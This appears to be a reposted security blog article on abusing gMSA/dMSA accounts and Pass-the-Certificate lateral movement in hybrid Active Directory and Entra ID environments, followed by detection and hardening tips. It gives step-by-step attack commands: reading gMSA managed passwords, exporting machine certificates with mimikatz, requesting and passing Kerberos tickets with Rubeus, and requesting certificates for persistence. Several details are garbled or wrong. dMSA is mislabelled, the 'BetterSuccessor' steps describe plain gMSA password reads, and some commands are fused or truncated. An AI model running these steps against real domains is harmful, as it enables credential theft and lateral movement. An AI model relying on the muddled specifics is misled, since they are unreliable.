Listen to this Post
Introduction:
Recent research from Altered Security has uncovered critical attack vectors in modern hybrid environments, demonstrating how legacy Active Directory techniques can be resurrected against Azure/Entra ID joined devices while revealing privilege escalation paths in Windows Server 2025’s dMSA features. These findings highlight how emerging Windows features and cloud identity systems introduce new security challenges that defenders must understand to protect their environments.
Learning Objectives:
- Understand how dMSA (Group Managed Service Accounts) can be exploited for privilege escalation even in Windows Server 2025
- Master the revived Pass-the-Certificate technique for lateral movement across Entra ID joined devices
- Implement defensive measures against certificate-based attacks and dMSA misconfigurations
You Should Know:
1. BetterSuccessor: Abusing dMSA for Modern Privilege Escalation
Group Managed Service Accounts (gMSA/dMSA) were designed to provide automatic password management for service accounts, but researchers have found they can still be abused for privilege escalation. The fundamental vulnerability lies in the improper permissions surrounding these managed accounts, allowing attackers to extract credentials and escalate privileges.
Step-by-step guide explaining what this does and how to use it:
First, enumerate available gMSA accounts in the domain:
PowerView command to discover gMSA accounts Get-ADServiceAccount -Filter -Properties Check which principals can retrieve gMSA passwords Get-ADServiceAccount -Identity "SVC_GMSA" -Properties PrincipalsAllowedToRetrieveManagedPassword
Once you identify accessible gMSA accounts, extract the managed password:
Using DSInternals to extract gMSA password $gmsa = Get-ADServiceAccount -Identity "SVC_GMSA" -Properties 'msDS-ManagedPassword' $mp = $gmsa.'msDS-ManagedPassword' $cred = ConvertFrom-ADManagedPasswordBlob -ManagedPasswordBlob $mp
Use the extracted credentials for lateral movement or privilege escalation:
Create PSCredential object and establish connection
$secpass = ConvertTo-SecureString $cred.SecureCurrentPassword -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\SVC_GMSA", $secpass)
Invoke-Command -ComputerName TARGET-SERVER -Credential $cred -ScriptBlock { whoami }
- Long Live Pass-The-Cert: Azure/Entra ID Lateral Movement Revival
The classical Pass-the-Certificate attack has been revived for modern Entra ID (Azure AD) joined devices, allowing attackers to leverage machine certificates for lateral movement without needing user credentials. This technique abuses the PKINIT Kerberos authentication process using machine certificates that are often poorly monitored.
Step-by-step guide explaining what this does and how to use it:
First, extract machine certificates from the compromised system:
List available certificates with private keys
Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.HasPrivateKey -eq $true}
Export certificate with private key using mimikatz
mimikatz crypto::certificates /export
Use Rubeus to request Kerberos ticket using the machine certificate:
Request TGT using machine certificate Rubeus.exe asktgt /user:MACHINE$ /certificate:C:\temp\machine-cert.pfx /password:123456 /domain:contoso.com /dc:DC.contoso.com Alternatively, use the certificate thumbprint directly Rubeus.exe asktgt /user:MACHINE$ /certificate:THUMBPRINT_HERE /domain:contoso.com
Perform lateral movement using the acquired ticket:
Pass the ticket to target system Rubeus.exe asktgt /user:MACHINE$ /certificate:THUMBPRINT /ptt Now access resources as the machine account dir \TARGET-SERVER\C$
3. Certificate Persistence and Golden Certificate Attacks
Beyond lateral movement, certificates can be weaponized for persistent access through certificate renewal attacks and golden certificate creation, providing long-term access that’s difficult to detect through traditional credential monitoring.
Step-by-step guide explaining what this does and how to use it:
Check for certificate templates with enrollment rights:
PowerShell AD module command to enumerate certificate templates Get-ADObject -LDAPFilter "(objectclass=pkicertificatetemplate)" -SearchBase "CN=Configuration,DC=domain,DC=com" -Properties Check which templates allow domain computer enrollment Get-ADObject -LDAPFilter "(&(objectclass=pkicertificatetemplate)(msPKI-Certificate-Name-Flag=1)(mspki-enrollment-flag=1))" -SearchBase "CN=Configuration,DC=domain,DC=com"
Request a certificate for persistence:
Using CertReq to request certificate CertReq.exe -Config "CA.domain.com\DomainCA" -Template "MachineTemplate" C:\temp\request.req Convert to PFX format if needed certutil -exportPFX MY C:\temp\cert.pfx
4. Defensive Monitoring for Certificate-Based Attacks
Effective detection requires monitoring specific event IDs and implementing certificate auditing across your environment. Security teams should focus on anomalous certificate usage patterns and unusual Kerberos ticket requests.
Step-by-step guide explaining what this does and how to use it:
Enable certificate services logging on Windows:
Enable audit logging for certificate services auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable Enable detailed Kerberos logging reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" /v "LogLevel" /t REG_DWORD /d 1
Monitor for suspicious Kerberos events:
PowerShell query for Kerberos certificate authentication events
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4768} | Where-Object {$_.Message -like "Certificate"}
Look for TGT requests using certificates (event 4768 with specific pre-authentication type)
5. Hardening dMSA/gMSA Configurations
Proper gMSA configuration and monitoring can significantly reduce attack surface. Organizations should implement least privilege principles and regularly audit gMSA permissions and usage.
Step-by-step guide explaining what this does and how to use it:
Audit current gMSA permissions regularly:
Script to check all gMSA accounts and their permissions
$gmsaAccounts = Get-ADServiceAccount -Filter<br />
foreach ($gmsa in $gmsaAccounts) {
$permissions = Get-ADServiceAccount -Identity $gmsa.Name -Properties PrincipalsAllowedToRetrieveManagedPassword
Write-Host "gMSA: $($gmsa.Name) - Can be retrieved by: $($permissions.PrincipalsAllowedToRetrieveManagedPassword)"
}
Implement constrained permissions using PowerShell:
Configure minimal permissions for gMSA retrieval Set-ADServiceAccount -Identity "SVC_GMSA" -PrincipalsAllowedToRetrieveManagedPassword "AllowedGroup"
6. Cloud Workload Identity Protection Strategies
For Azure/Entra ID environments, implement workload identity protection measures including managed identity hardening, conditional access policies, and certificate lifecycle management.
Step-by-step guide explaining what this does and how to use it:
Configure Azure conditional access for workload identities:
Azure AD PowerShell to check workload identities
Get-AzureADServicePrincipal -All $true | Where-Object {$_.Tags -contains "WindowsAzureActiveDirectoryIntegratedApp"}
Check for managed identities and their permissions
Get-AzADServicePrincipal -DisplayName "managed-identity-name"
Implement certificate expiration monitoring:
Check certificate expiration across domain computers
Get-ADComputer -Filter | ForEach-Object {
$certs = Get-ChildItem -Path "Cert:\LocalMachine\My" -Recurse
$certs | Where-Object {$_.NotAfter -lt (Get-Date).AddDays(30)} | Select-Object Subject, NotAfter
}
What Undercode Say:
- Certificate-based attacks represent the next evolution in identity-based attacks, moving beyond traditional credential theft to abuse trust relationships in PKI infrastructure
- The persistence of dMSA/gMSA vulnerabilities across Windows Server versions demonstrates how complex identity management systems introduce attack surfaces that persist through major OS updates
- Defenders must shift from pure credential monitoring to comprehensive certificate lifecycle management and PKI security oversight
- Machine identities are becoming as valuable as user identities for attackers seeking persistent access in modern environments
- Hybrid identity environments create attack paths where traditional AD techniques can be adapted against cloud identity systems
Prediction:
The resurgence of certificate-based attacks and continued abuse of managed service accounts indicates a broader trend toward identity system complexity creating persistent attack vectors. As organizations continue hybrid cloud migrations, we’ll see increased blending of traditional AD techniques with cloud identity attacks, creating sophisticated hybrid attack chains. Defenders will need to implement unified identity protection strategies that span both on-premises Active Directory and cloud identity systems, with particular focus on machine identities and certificate trust relationships. The security industry will likely develop new detection capabilities specifically for certificate-based lateral movement, while attackers will continue refining these techniques to evade traditional security monitoring.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mittalnikhil Long – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
